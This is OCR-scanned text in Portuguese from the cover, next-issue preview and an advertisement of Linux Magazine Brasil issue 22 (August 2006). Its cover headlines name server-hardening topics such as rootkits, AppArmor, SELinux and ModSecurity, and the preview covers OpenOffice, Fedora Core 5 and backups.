Aquela planilha de custos que o seu chefe pediu há algum tempo, a carta que você tem que enviar para o fornecedor e a apresentação para os novos clientes da empresa... Nada que o OpenOffice.org não dê conta com um pé nas costas. Para a próxima edição, preparamos tutoriais para criação de boletins avançados no editor de textos Writer, fórmulas e gráficos em planilhas do Calc, apresentações com o Impress. Saiba também como eliminar a papelada, escaneando documentos e arquivando o resultado no prático formato PDF. ■

O projeto Fedora, da Red Hat, vem se firmando cada vez mais como uma das melhores opções de distribuição polivalente: é uma boa alternativa tanto no computador pessoal quanto em servidores ou estações de trabalho. Conheça os novos recursos nessa análise voltada para quem planeja usar o Fedora como um sistema desktop. ■

Escritório livre

Fedora Core 5

OFICINA

À prova de desastres

Depois de tanto trabalho, uma pane no computador e tudo está perdido... Não se você tiver tomado as precauções básicas. Ou seja, becape! Saiba como automatizar suas cópias de segurança de documentos e arquivos importantes. ■ GURU

Lidando com processos

Os programas aparecem para o sistema operacional como processos. Aprenda a gerenciar seus processos para ter um maior controle sobre a máquina. ■

http://supertuxbr.blogspot.com 82

http://www.linuxmagazine.com.br


Gabarito

Hospedagem de Sites e Servidores

INTERNET PARA PROFISSIONAIS DE INTERNET

Monitoramento de Rede

Internet Data Center

Servidores de Alta Disponibilidade

www.plugin.com.br http://supertuxbr.blogspot.com

4003-1001


08/2006

XANDROS NO BRASIL p.26 Entrevista com James Largotta

CARREIRA: CERTIFICAÇÃO p.24 Linux Professional Institute, vale a pena?

FUI INVADIDO p.10 Augusto Campos conta como proceder

Assinante

A REVISTA DO PROFISSIONAL DE TI

ven d a p ro i b i d a 9 771806 942009

Agosto 2006

# 22

R$ 10,90 € 5,50

00022 exemplar de

Linux Magazine

# 22

#22 08/06

Invasão

SENDMAIL CONTRA O SPAM p.62

Rootkits AppArmor

Livre-se de emails indesejados

SAMBA 4 p.58 Nova versão do servidor universal

SELinux Apache

SERVIDOR À PROVA DE

Sendmail

INVASÃO » Raio-X: como agem os rootkits

Samba Jack

» Gerenciamento de segurança com o AppArmor » A proteção granular do SELinux » Novell e Red Hat confrontam suas soluções

» Apache seguro com ModSecurity

p.28 p.34 p.38 p.42 p.46

Bash Suse 10.1 GCC Python LPI

http://supertuxbr.blogspot.com

VEJA TAMBÉM NESTA EDIÇÃO: » O que muda no Suse 10.1 p.50 » Áudio profissional é com o JACK p.52 » Otimize seus scripts Bash p.68 » Manipulando imagens no Python p.70 » A potência do GCC 4.1 p.74

WWW.LINUXMAGAZINE.COM.BR

NOVO PROJETO GRÁFICO E EDITORIAL!


22 - Servidor Prova de Invasao_ago_2006